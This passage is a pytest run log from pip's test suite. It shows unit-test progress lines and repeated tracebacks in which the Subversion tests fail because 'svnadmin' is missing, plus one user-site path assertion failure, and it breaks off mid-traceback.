tests/unit/test_link.py ..................................                                                                                                         [ 53%]
tests/unit/test_locations.py .ss                                                                                                                                   [ 54%]
tests/unit/test_logging.py .............                                                                                                                           [ 54%]
tests/unit/test_models.py .....                                                                                                                                    [ 55%]
tests/unit/test_models_wheel.py .................                                                                                                                  [ 55%]
tests/unit/test_network_auth.py ...................                                                                                                                [ 57%]
tests/unit/test_network_cache.py .....                                                                                                                             [ 57%]
tests/unit/test_network_download.py ...................                                                                                                            [ 58%]
tests/unit/test_network_session.py .............................                                                                                                   [ 59%]
tests/unit/test_operations_prepare.py ...........                                                                                                                  [ 60%]
tests/unit/test_options.py ...........................................................                                                                             [ 63%]
tests/unit/test_packaging.py ....                                                                                                                                  [ 63%]
tests/unit/test_pep425tags.py ...........                                                                                                                          [ 64%]
tests/unit/test_pep517.py .......                                                                                                                                  [ 64%]
tests/unit/test_req.py .................................................sss.......                                                                                 [ 68%]
tests/unit/test_req_file.py .............................................................                                                                          [ 71%]
tests/unit/test_req_install.py .....                                                                                                                               [ 71%]
tests/unit/test_req_uninstall.py .............                                                                                                                     [ 72%]
tests/unit/test_resolution_legacy_resolver.py .......                                                                                                              [ 72%]
tests/unit/test_search_scope.py ..                                                                                                                                 [ 72%]
tests/unit/test_self_check_outdated.py ................                                                                                                            [ 73%]
tests/unit/test_target_python.py ...................                                                                                                               [ 74%]
tests/unit/test_urls.py .....s........s                                                                                                                            [ 75%]
tests/unit/test_utils.py ......................................................................................................................................... [ 83%]
...........                                                                                                                                                        [ 83%]
tests/unit/test_utils_distutils_args.py .................                                                                                                          [ 84%]
tests/unit/test_utils_filesystem.py .......                                                                                                                        [ 85%]
tests/unit/test_utils_pkg_resources.py ..                                                                                                                          [ 85%]
tests/unit/test_utils_subprocess.py ......ss.............                                                                                                          [ 86%]
tests/unit/test_utils_temp_dir.py .....................................                                                                                            [ 88%]
tests/unit/test_utils_unpacking.py ...........                                                                                                                     [ 88%]
tests/unit/test_utils_virtualenv.py .....................                                                                                                          [ 90%]
tests/unit/test_utils_wheel.py ............                                                                                                                        [ 90%]
tests/unit/test_vcs.py s.................................................................................................                                          [ 96%]
tests/unit/test_vcs_mercurial.py .                                                                                                                                 [ 96%]
tests/unit/test_wheel.py .......................................                                                                                                   [ 98%]
tests/unit/test_wheel_builder.py ................................                                                                                                  [100%]

================================================================================ FAILURES ================================================================================
____________________________________________________________________________ test_freeze_svn _____________________________________________________________________________

script = <tests.lib.PipTestEnvironment object at 0x110f42af0>
tmpdir = Path('/private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pytest-of-jaraco/pytest-19/test_freeze_svn0')

    @need_svn
    def test_freeze_svn(script, tmpdir):
        """Test freezing a svn checkout"""
    
>       checkout_path = _create_test_package(script, vcs='svn')

tests/functional/test_freeze.py:178: 
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ 
tests/lib/__init__.py:869: in _create_test_package
    return _vcs_add(script, version_pkg_path, vcs)
tests/lib/__init__.py:771: in _vcs_add
    repo_url = _create_svn_repo(script, version_pkg_path)
tests/lib/__init__.py:875: in _create_svn_repo
    script.run(
tests/lib/__init__.py:591: in run
    result = super(PipTestEnvironment, self).run(cwd=cwd, *args, **kw)
/Library/Frameworks/Python.framework/Versions/3.8/lib/python3.8/subprocess.py:854: in __init__
    self._execute_child(args, executable, preexec_fn, close_fds,
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ 

self = <subprocess.Popen object at 0x110f616d0>, args = ['svnadmin', 'create', 'pip-test-package-repo'], executable = b'svnadmin', preexec_fn = None, close_fds = True
pass_fds = (), cwd = Path('/private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pytest-of-jaraco/pytest-19/test_freeze_svn0/workspace/scratch')
env = {'GIT_AUTHOR_EMAIL': 'pypa-dev@googlegroups.com', 'GIT_AUTHOR_NAME': 'pip', 'GIT_CONFIG_NOSYSTEM': '1', 'HOME': '/private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pytest-of-jaraco/pytest-19/test_freeze_svn0/home', ...}
startupinfo = None, creationflags = 0, shell = False, p2cread = 9, p2cwrite = 12, c2pread = 13, c2pwrite = 14, errread = 15, errwrite = 16, restore_signals = True
start_new_session = False

    def _execute_child(self, args, executable, preexec_fn, close_fds,
                       pass_fds, cwd, env,
                       startupinfo, creationflags, shell,
                       p2cread, p2cwrite,
                       c2pread, c2pwrite,
                       errread, errwrite,
                       restore_signals, start_new_session):
        """Execute program (POSIX version)"""
    
        if isinstance(args, (str, bytes)):
            args = [args]
        elif isinstance(args, os.PathLike):
            if shell:
                raise TypeError('path-like args is not allowed when '
                                'shell is true')
            args = [args]
        else:
            args = list(args)
    
        if shell:
            # On Android the default shell is at '/system/bin/sh'.
            unix_shell = ('/system/bin/sh' if
                      hasattr(sys, 'getandroidapilevel') else '/bin/sh')
            args = [unix_shell, "-c"] + args
            if executable:
                args[0] = executable
    
        if executable is None:
            executable = args[0]
    
        sys.audit("subprocess.Popen", executable, args, cwd, env)
    
        if (_USE_POSIX_SPAWN
                and os.path.dirname(executable)
                and preexec_fn is None
                and not close_fds
                and not pass_fds
                and cwd is None
                and (p2cread == -1 or p2cread > 2)
                and (c2pwrite == -1 or c2pwrite > 2)
                and (errwrite == -1 or errwrite > 2)
                and not start_new_session):
            self._posix_spawn(args, executable, env, restore_signals,
                              p2cread, p2cwrite,
                              c2pread, c2pwrite,
                              errread, errwrite)
            return
    
        orig_executable = executable
    
        # For transferring possible exec failure from child to parent.
        # Data format: "exception name:hex errno:description"
        # Pickle is not used; it is complex and involves memory allocation.
        errpipe_read, errpipe_write = os.pipe()
        # errpipe_write must not be in the standard io 0, 1, or 2 fd range.
        low_fds_to_close = []
        while errpipe_write < 3:
            low_fds_to_close.append(errpipe_write)
            errpipe_write = os.dup(errpipe_write)
        for low_fd in low_fds_to_close:
            os.close(low_fd)
        try:
            try:
                # We must avoid complex work that could involve
                # malloc or free in the child process to avoid
                # potential deadlocks, thus we do all this here.
                # and pass it to fork_exec()
    
                if env is not None:
                    env_list = []
                    for k, v in env.items():
                        k = os.fsencode(k)
                        if b'=' in k:
                            raise ValueError("illegal environment variable name")
                        env_list.append(k + b'=' + os.fsencode(v))
                else:
                    env_list = None  # Use execv instead of execve.
                executable = os.fsencode(executable)
                if os.path.dirname(executable):
                    executable_list = (executable,)
                else:
                    # This matches the behavior of os._execvpe().
                    executable_list = tuple(
                        os.path.join(os.fsencode(dir), executable)
                        for dir in os.get_exec_path(env))
                fds_to_keep = set(pass_fds)
                fds_to_keep.add(errpipe_write)
                self.pid = _posixsubprocess.fork_exec(
                        args, executable_list,
                        close_fds, tuple(sorted(map(int, fds_to_keep))),
                        cwd, env_list,
                        p2cread, p2cwrite, c2pread, c2pwrite,
                        errread, errwrite,
                        errpipe_read, errpipe_write,
                        restore_signals, start_new_session, preexec_fn)
                self._child_created = True
            finally:
                # be sure the FD is closed no matter what
                os.close(errpipe_write)
    
            self._close_pipe_fds(p2cread, p2cwrite,
                                 c2pread, c2pwrite,
                                 errread, errwrite)
    
            # Wait for exec to fail or succeed; possibly raising an
            # exception (limited in size)
            errpipe_data = bytearray()
            while True:
                part = os.read(errpipe_read, 50000)
                errpipe_data += part
                if not part or len(errpipe_data) > 50000:
                    break
        finally:
            # be sure the FD is closed no matter what
            os.close(errpipe_read)
    
        if errpipe_data:
            try:
                pid, sts = os.waitpid(self.pid, 0)
                if pid == self.pid:
                    self._handle_exitstatus(sts)
                else:
                    self.returncode = sys.maxsize
            except ChildProcessError:
                pass
    
            try:
                exception_name, hex_errno, err_msg = (
                        errpipe_data.split(b':', 2))
                # The encoding here should match the encoding
                # written in by the subprocess implementations
                # like _posixsubprocess
                err_msg = err_msg.decode()
            except ValueError:
                exception_name = b'SubprocessError'
                hex_errno = b'0'
                err_msg = 'Bad exception data from child: {!r}'.format(
                              bytes(errpipe_data))
            child_exception_type = getattr(
                    builtins, exception_name.decode('ascii'),
                    SubprocessError)
            if issubclass(child_exception_type, OSError) and hex_errno:
                errno_num = int(hex_errno, 16)
                child_exec_never_called = (err_msg == "noexec")
                if child_exec_never_called:
                    err_msg = ""
                    # The error must be from chdir(cwd).
                    err_filename = cwd
                else:
                    err_filename = orig_executable
                if errno_num != 0:
                    err_msg = os.strerror(errno_num)
>               raise child_exception_type(errno_num, err_msg, err_filename)
E               FileNotFoundError: [Errno 2] No such file or directory: 'svnadmin'

/Library/Frameworks/Python.framework/Versions/3.8/lib/python3.8/subprocess.py:1702: FileNotFoundError
__________________________________________________________________ test_basic_install_editable_from_svn __________________________________________________________________

script = <tests.lib.PipTestEnvironment object at 0x110a24c70>

    @need_svn
    def test_basic_install_editable_from_svn(script):
        """
        Test checking out from svn.
        """
        checkout_path = _create_test_package(script)
>       repo_url = _create_svn_repo(script, checkout_path)

tests/functional/test_install.py:273: 
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ 
tests/lib/__init__.py:875: in _create_svn_repo
    script.run(
tests/lib/__init__.py:591: in run
    result = super(PipTestEnvironment, self).run(cwd=cwd, *args, **kw)
/Library/Frameworks/Python.framework/Versions/3.8/lib/python3.8/subprocess.py:854: in __init__
    self._execute_child(args, executable, preexec_fn, close_fds,
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ 

self = <subprocess.Popen object at 0x110c11f40>, args = ['svnadmin', 'create', 'pip-test-package-repo'], executable = b'svnadmin', preexec_fn = None, close_fds = True
pass_fds = (), cwd = Path('/private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pytest-of-jaraco/pytest-19/test_basic_install_editable_fr0/workspace/scratch')
env = {'GIT_AUTHOR_EMAIL': 'pypa-dev@googlegroups.com', 'GIT_AUTHOR_NAME': 'pip', 'GIT_CONFIG_NOSYSTEM': '1', 'HOME': '/private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pytest-of-jaraco/pytest-19/test_basic_install_editable_fr0/home', ...}
startupinfo = None, creationflags = 0, shell = False, p2cread = 9, p2cwrite = 12, c2pread = 13, c2pwrite = 14, errread = 15, errwrite = 16, restore_signals = True
start_new_session = False

    def _execute_child(self, args, executable, preexec_fn, close_fds,
                       pass_fds, cwd, env,
                       startupinfo, creationflags, shell,
                       p2cread, p2cwrite,
                       c2pread, c2pwrite,
                       errread, errwrite,
                       restore_signals, start_new_session):
        """Execute program (POSIX version)"""
    
        if isinstance(args, (str, bytes)):
            args = [args]
        elif isinstance(args, os.PathLike):
            if shell:
                raise TypeError('path-like args is not allowed when '
                                'shell is true')
            args = [args]
        else:
            args = list(args)
    
        if shell:
            # On Android the default shell is at '/system/bin/sh'.
            unix_shell = ('/system/bin/sh' if
                      hasattr(sys, 'getandroidapilevel') else '/bin/sh')
            args = [unix_shell, "-c"] + args
            if executable:
                args[0] = executable
    
        if executable is None:
            executable = args[0]
    
        sys.audit("subprocess.Popen", executable, args, cwd, env)
    
        if (_USE_POSIX_SPAWN
                and os.path.dirname(executable)
                and preexec_fn is None
                and not close_fds
                and not pass_fds
                and cwd is None
                and (p2cread == -1 or p2cread > 2)
                and (c2pwrite == -1 or c2pwrite > 2)
                and (errwrite == -1 or errwrite > 2)
                and not start_new_session):
            self._posix_spawn(args, executable, env, restore_signals,
                              p2cread, p2cwrite,
                              c2pread, c2pwrite,
                              errread, errwrite)
            return
    
        orig_executable = executable
    
        # For transferring possible exec failure from child to parent.
        # Data format: "exception name:hex errno:description"
        # Pickle is not used; it is complex and involves memory allocation.
        errpipe_read, errpipe_write = os.pipe()
        # errpipe_write must not be in the standard io 0, 1, or 2 fd range.
        low_fds_to_close = []
        while errpipe_write < 3:
            low_fds_to_close.append(errpipe_write)
            errpipe_write = os.dup(errpipe_write)
        for low_fd in low_fds_to_close:
            os.close(low_fd)
        try:
            try:
                # We must avoid complex work that could involve
                # malloc or free in the child process to avoid
                # potential deadlocks, thus we do all this here.
                # and pass it to fork_exec()
    
                if env is not None:
                    env_list = []
                    for k, v in env.items():
                        k = os.fsencode(k)
                        if b'=' in k:
                            raise ValueError("illegal environment variable name")
                        env_list.append(k + b'=' + os.fsencode(v))
                else:
                    env_list = None  # Use execv instead of execve.
                executable = os.fsencode(executable)
                if os.path.dirname(executable):
                    executable_list = (executable,)
                else:
                    # This matches the behavior of os._execvpe().
                    executable_list = tuple(
                        os.path.join(os.fsencode(dir), executable)
                        for dir in os.get_exec_path(env))
                fds_to_keep = set(pass_fds)
                fds_to_keep.add(errpipe_write)
                self.pid = _posixsubprocess.fork_exec(
                        args, executable_list,
                        close_fds, tuple(sorted(map(int, fds_to_keep))),
                        cwd, env_list,
                        p2cread, p2cwrite, c2pread, c2pwrite,
                        errread, errwrite,
                        errpipe_read, errpipe_write,
                        restore_signals, start_new_session, preexec_fn)
                self._child_created = True
            finally:
                # be sure the FD is closed no matter what
                os.close(errpipe_write)
    
            self._close_pipe_fds(p2cread, p2cwrite,
                                 c2pread, c2pwrite,
                                 errread, errwrite)
    
            # Wait for exec to fail or succeed; possibly raising an
            # exception (limited in size)
            errpipe_data = bytearray()
            while True:
                part = os.read(errpipe_read, 50000)
                errpipe_data += part
                if not part or len(errpipe_data) > 50000:
                    break
        finally:
            # be sure the FD is closed no matter what
            os.close(errpipe_read)
    
        if errpipe_data:
            try:
                pid, sts = os.waitpid(self.pid, 0)
                if pid == self.pid:
                    self._handle_exitstatus(sts)
                else:
                    self.returncode = sys.maxsize
            except ChildProcessError:
                pass
    
            try:
                exception_name, hex_errno, err_msg = (
                        errpipe_data.split(b':', 2))
                # The encoding here should match the encoding
                # written in by the subprocess implementations
                # like _posixsubprocess
                err_msg = err_msg.decode()
            except ValueError:
                exception_name = b'SubprocessError'
                hex_errno = b'0'
                err_msg = 'Bad exception data from child: {!r}'.format(
                              bytes(errpipe_data))
            child_exception_type = getattr(
                    builtins, exception_name.decode('ascii'),
                    SubprocessError)
            if issubclass(child_exception_type, OSError) and hex_errno:
                errno_num = int(hex_errno, 16)
                child_exec_never_called = (err_msg == "noexec")
                if child_exec_never_called:
                    err_msg = ""
                    # The error must be from chdir(cwd).
                    err_filename = cwd
                else:
                    err_filename = orig_executable
                if errno_num != 0:
                    err_msg = os.strerror(errno_num)
>               raise child_exception_type(errno_num, err_msg, err_filename)
E               FileNotFoundError: [Errno 2] No such file or directory: 'svnadmin'

/Library/Frameworks/Python.framework/Versions/3.8/lib/python3.8/subprocess.py:1702: FileNotFoundError
_______________________________________________________________________ test_user_config_accepted ________________________________________________________________________

script = <tests.lib.PipTestEnvironment object at 0x110cd5850>

    @pytest.mark.incompatible_with_test_venv
    def test_user_config_accepted(script):
        # user set in the config file is parsed as 0/1 instead of True/False.
        # Check that this doesn't cause a problem.
        config_file = script.scratch_path / 'pip.conf'
        script.environ['PIP_CONFIG_FILE'] = str(config_file)
        config_file.write_text("[install]\nuser = true")
        result = script.pip_install_local('simplewheel')
    
        assert "Successfully installed simplewheel" in result.stdout
    
        relative_user = os.path.relpath(script.user_site_path, script.base_path)
>       assert join(relative_user, 'simplewheel') in result.files_created
E       AssertionError: assert 'venv/user/lib/python/site-packages/simplewheel' in {'venv/user/lib/python3.8': <FoundDir /private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pytest-of-jaraco/pytest...pytest-19/test_user_config_accepted0/workspace:venv/user/lib/python3.8/site-packages/simplewheel-2.0-1.dist-info>, ...}
E        +  where 'venv/user/lib/python/site-packages/simplewheel' = join('venv/user/lib/python/site-packages', 'simplewheel')
E        +  and   {'venv/user/lib/python3.8': <FoundDir /private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pytest-of-jaraco/pytest...pytest-19/test_user_config_accepted0/workspace:venv/user/lib/python3.8/site-packages/simplewheel-2.0-1.dist-info>, ...} = <tests.lib.TestPipResult object at 0x110c1f820>.files_created

tests/functional/test_install.py:1692: AssertionError
____________________________________________________________________ test_multiple_requirements_files ____________________________________________________________________

script = <tests.lib.PipTestEnvironment object at 0x110d4d550>
tmpdir = Path('/private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pytest-of-jaraco/pytest-19/test_multiple_requirements_fil0')

    @pytest.mark.network
    @need_svn
    def test_multiple_requirements_files(script, tmpdir):
        """
        Test installing from multiple nested requirements files.
    
        """
        other_lib_name, other_lib_version = 'anyjson', '0.3'
        script.scratch_path.joinpath("initools-req.txt").write_text(
            textwrap.dedent("""
                -e %s@10#egg=INITools
                -r %s-req.txt
            """) %
            (
>               local_checkout('svn+http://svn.colorstudy.com/INITools', tmpdir),
                other_lib_name
            ),
        )

tests/functional/test_install_reqs.py:127: 
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ 
tests/lib/local_repos.py:63: in local_checkout
    _create_svn_initools_repo(repo_url_path)
tests/lib/local_repos.py:22: in _create_svn_initools_repo
    subprocess.check_call('svnadmin create INITools'.split(), cwd=directory)
/Library/Frameworks/Python.framework/Versions/3.8/lib/python3.8/subprocess.py:359: in check_call
    retcode = call(*popenargs, **kwargs)
/Library/Frameworks/Python.framework/Versions/3.8/lib/python3.8/subprocess.py:340: in call
    with Popen(*popenargs, **kwargs) as p:
/Library/Frameworks/Python.framework/Versions/3.8/lib/python3.8/subprocess.py:854: in __init__
    self._execute_child(args, executable, preexec_fn, close_fds,
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ 

self = <subprocess.Popen object at 0x110d4d4c0>, args = ['svnadmin', 'create', 'INITools'], executable = b'svnadmin', preexec_fn = None, close_fds = True, pass_fds = ()
cwd = '/private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pytest-of-jaraco/pytest-19/test_multiple_requirements_fil0/cache', env = None, startupinfo = None
creationflags = 0, shell = False, p2cread = -1, p2cwrite = -1, c2pread = -1, c2pwrite = -1, errread = -1, errwrite = -1, restore_signals = True, start_new_session = False

    def _execute_child(self, args, executable, preexec_fn, close_fds,
                       pass_fds, cwd, env,
                       startupinfo, creationflags, shell,
                       p2cread, p2cwrite,
                       c2pread, c2pwrite,
                       errread, errwrite,
                       restore_signals, start_new_session):
        """Execute program (POSIX version)"""
    
        if isinstance(args, (str, bytes)):
            args = [args]
        elif isinstance(args, os.PathLike):
            if shell:
                raise TypeError('path-like args is not allowed when '
                                'shell is true')
            args = [args]
        else:
            args = list(args)
    
        if shell:
            # On Android the default shell is at '/system/bin/sh'.
            unix_shell = ('/system/bin/sh' if
                      hasattr(sys, 'getandroidapilevel') else '/bin/sh')
            args = [unix_shell, "-c"] + args
            if executable:
                args[0] = executable
    
        if executable is None:
            executable = args[0]
    
        sys.audit("subprocess.Popen", executable, args, cwd, env)
    
        if (_USE_POSIX_SPAWN
                and os.path.dirname(executable)
                and preexec_fn is None
                and not close_fds
                and not pass_fds
                and cwd is None
                and (p2cread == -1 or p2cread > 2)
                and (c2pwrite == -1 or c2pwrite > 2)
                and (errwrite == -1 or errwrite > 2)
                and not start_new_session):
            self._posix_spawn(args, executable, env, restore_signals,
                              p2cread, p2cwrite,
                              c2pread, c2pwrite,
                              errread, errwrite)
            return
    
        orig_executable = executable
    
        # For transferring possible exec failure from child to parent.
        # Data format: "exception name:hex errno:description"
        # Pickle is not used; it is complex and involves memory allocation.
        errpipe_read, errpipe_write = os.pipe()
        # errpipe_write must not be in the standard io 0, 1, or 2 fd range.
        low_fds_to_close = []
        while errpipe_write < 3:
            low_fds_to_close.append(errpipe_write)
            errpipe_write = os.dup(errpipe_write)
        for low_fd in low_fds_to_close:
            os.close(low_fd)
        try:
            try:
                # We must avoid complex work that could involve
                # malloc or free in the child process to avoid
                # potential deadlocks, thus we do all this here.
                # and pass it to fork_exec()
    
                if env is not None:
                    env_list = []
                    for k, v in env.items():
                        k = os.fsencode(k)
                        if b'=' in k:
                            raise ValueError("illegal environment variable name")
                        env_list.append(k + b'=' + os.fsencode(v))
                else:
                    env_list = None  # Use execv instead of execve.
                executable = os.fsencode(executable)
                if os.path.dirname(executable):
                    executable_list = (executable,)
                else:
                    # This matches the behavior of os._execvpe().
                    executable_list = tuple(
                        os.path.join(os.fsencode(dir), executable)
                        for dir in os.get_exec_path(env))
                fds_to_keep = set(pass_fds)
                fds_to_keep.add(errpipe_write)
                self.pid = _posixsubprocess.fork_exec(
                        args, executable_list,
                        close_fds, tuple(sorted(map(int, fds_to_keep))),
                        cwd, env_list,
                        p2cread, p2cwrite, c2pread, c2pwrite,
                        errread, errwrite,
                        errpipe_read, errpipe_write,
                        restore_signals, start_new_session, preexec_fn)
                self._child_created = True
            finally:
                # be sure the FD is closed no matter what
                os.close(errpipe_write)
    
            self._close_pipe_fds(p2cread, p2cwrite,
                                 c2pread, c2pwrite,
                                 errread, errwrite)
    
            # Wait for exec to fail or succeed; possibly raising an
            # exception (limited in size)
            errpipe_data = bytearray()
            while True:
                part = os.read(errpipe_read, 50000)
                errpipe_data += part
                if not part or len(errpipe_data) > 50000:
                    break
        finally:
            # be sure the FD is closed no matter what
            os.close(errpipe_read)
    
        if errpipe_data:
            try:
                pid, sts = os.waitpid(self.pid, 0)
                if pid == self.pid:
                    self._handle_exitstatus(sts)
                else:
                    self.returncode = sys.maxsize
            except ChildProcessError:
                pass
    
            try:
                exception_name, hex_errno, err_msg = (
                        errpipe_data.split(b':', 2))
                # The encoding here should match the encoding
                # written in by the subprocess implementations
                # like _posixsubprocess
                err_msg = err_msg.decode()
            except ValueError:
                exception_name = b'SubprocessError'
                hex_errno = b'0'
                err_msg = 'Bad exception data from child: {!r}'.format(
                              bytes(errpipe_data))
            child_exception_type = getattr(
                    builtins, exception_name.decode('ascii'),
                    SubprocessError)
            if issubclass(child_exception_type, OSError) and hex_errno:
                errno_num = int(hex_errno, 16)
                child_exec_never_called = (err_msg == "noexec")
                if child_exec_never_called:
                    err_msg = ""
                    # The error must be from chdir(cwd).
                    err_filename = cwd
                else:
                    err_filename = orig_executable
                if errno_num != 0:
                    err_msg = os.strerror(errno_num)
>               raise child_exception_type(errno_num, err_msg, err_filename)
E               FileNotFoundError: [Errno 2] No such file or directory: 'svnadmin'

/Library/Frameworks/Python.framework/Versions/3.8/lib/python3.8/subprocess.py:1702: FileNotFoundError
________________________________________________ Tests_UserSite.test_install_subversion_usersite_editable_with_distribute ________________________________________________

self = <tests.functional.test_install_user.Tests_UserSite object at 0x111895610>, script = <tests.lib.PipTestEnvironment object at 0x1118892b0>
tmpdir = Path('/private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pytest-of-jaraco/pytest-19/test_install_subversion_usersi0')

    @pytest.mark.network
    @need_svn
    @pytest.mark.incompatible_with_test_venv
    def test_install_subversion_usersite_editable_with_distribute(
            self, script, tmpdir):
        """
            Test installing current directory ('.') into usersite after installing
            distribute
            """
        result = script.pip(
            'install', '--user', '-e',
            '%s#egg=initools' %
>           local_checkout('svn+http://svn.colorstudy.com/INITools', tmpdir)
        )

tests/functional/test_install_user.py:56: 
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ 
tests/lib/local_repos.py:63: in local_checkout
    _create_svn_initools_repo(repo_url_path)
tests/lib/local_repos.py:22: in _create_svn_initools_repo
    subprocess.check_call('svnadmin create INITools'.split(), cwd=directory)
/Library/Frameworks/Python.framework/Versions/3.8/lib/python3.8/subprocess.py:359: in check_call
    retcode = call(*popenargs, **kwargs)
/Library/Frameworks/Python.framework/Versions/3.8/lib/python3.8/subprocess.py:340: in call
    with Popen(*popenargs, **kwargs) as p:
/Library/Frameworks/Python.framework/Versions/3.8/lib/python3.8/subprocess.py:854: in __init__
    self._execute_child(args, executable, preexec_fn, close_fds,
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ 

self = <subprocess.Popen object at 0x111889550>, args = ['svnadmin', 'create', 'INITools'], executable = b'svnadmin', preexec_fn = None, close_fds = True, pass_fds = ()
cwd = '/private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pytest-of-jaraco/pytest-19/test_install_subversion_usersi0/cache', env = None, startupinfo = None
creationflags = 0, shell = False, p2cread = -1, p2cwrite = -1, c2pread = -1, c2pwrite = -1, errread = -1, errwrite = -1, restore_signals = True, start_new_session = False

    def _execute_child(self, args, executable, preexec_fn, close_fds,
                       pass_fds, cwd, env,
                       startupinfo, creationflags, shell,
                       p2cread, p2cwrite,
                       c2pread, c2pwrite,
                       errread, errwrite,
                       restore_signals, start_new_session):
        """Execute program (POSIX version)"""
    
        if isinstance(args, (str, bytes)):
            args = [args]
        elif isinstance(args, os.PathLike):
            if shell:
                raise TypeError('path-like args is not allowed when '
                                'shell is true')
            args = [args]
        else:
            args = list(args)
    
        if shell:
            # On Android the default shell is at '/system/bin/sh'.
            unix_shell = ('/system/bin/sh' if
                      hasattr(sys, 'getandroidapilevel') else '/bin/sh')
            args = [unix_shell, "-c"] + args
            if executable:
                args[0] = executable
    
        if executable is None:
            executable = args[0]
    
        sys.audit("subprocess.Popen", executable, args, cwd, env)
    
        if (_USE_POSIX_SPAWN
                and os.path.dirname(executable)
                and preexec_fn is None
                and not close_fds
                and not pass_fds
                and cwd is None
                and (p2cread == -1 or p2cread > 2)
                and (c2pwrite == -1 or c2pwrite > 2)
                and (errwrite == -1 or errwrite > 2)
                and not start_new_session):
            self._posix_spawn(args, executable, env, restore_signals,
                              p2cread, p2cwrite,
                              c2pread, c2pwrite,
                              errread, errwrite)
            return
    
        orig_executable = executable
    
        # For transferring possible exec failure from child to parent.
        # Data format: "exception name:hex errno:description"
        # Pickle is not used; it is complex and involves memory allocation.
        errpipe_read, errpipe_write = os.pipe()
        # errpipe_write must not be in the standard io 0, 1, or 2 fd range.
        low_fds_to_close = []
        while errpipe_write < 3:
            low_fds_to_close.append(errpipe_write)
            errpipe_write = os.dup(errpipe_write)
        for low_fd in low_fds_to_close:
            os.close(low_fd)
        try:
            try:
                # We must avoid complex work that could involve
                # malloc or free in the child process to avoid
                # potential deadlocks, thus we do all this here.
                # and pass it to fork_exec()
    
                if env is not None:
                    env_list = []
                    for k, v in env.items():
                        k = os.fsencode(k)
                        if b'=' in k:
                            raise ValueError("illegal environment variable name")
                        env_list.append(k + b'=' + os.fsencode(v))
                else:
                    env_list = None  # Use execv instead of execve.
                executable = os.fsencode(executable)
                if os.path.dirname(executable):
                    executable_list = (executable,)
                else:
                    # This matches the behavior of os._execvpe().
                    executable_list = tuple(
                        os.path.join(os.fsencode(dir), executable)
                        for dir in os.get_exec_path(env))
                fds_to_keep = set(pass_fds)
                fds_to_keep.add(errpipe_write)
                self.pid = _posixsubprocess.fork_exec(
                        args, executable_list,
                        close_fds, tuple(sorted(map(int, fds_to_keep))),
                        cwd, env_list,
                        p2cread, p2cwrite, c2pread, c2pwrite,
                        errread, errwrite,
                        errpipe_read, errpipe_write,
                        restore_signals, start_new_session, preexec_fn)
                self._child_created = True
            finally:
                # be sure the FD is closed no matter what
                os.close(errpipe_write)
    
            self._close_pipe_fds(p2cread, p2cwrite,
                                 c2pread, c2pwrite,
                                 errread, errwrite)
    
            # Wait for exec to fail or succeed; possibly raising an
            # exception (limited in size)
            errpipe_data = bytearray()
            while True:
                part = os.read(errpipe_read, 50000)
                errpipe_data += part
                if not part or len(errpipe_data) > 50000:
                    break
        finally:
            # be sure the FD is closed no matter what
            os.close(errpipe_read)
    
        if errpipe_data:
            try:
                pid, sts = os.waitpid(self.pid, 0)
                if pid == self.pid:
                    self._handle_exitstatus(sts)
                else:
                    self.returncode = sys.maxsize
            except ChildProcessError:
                pass
    
            try:
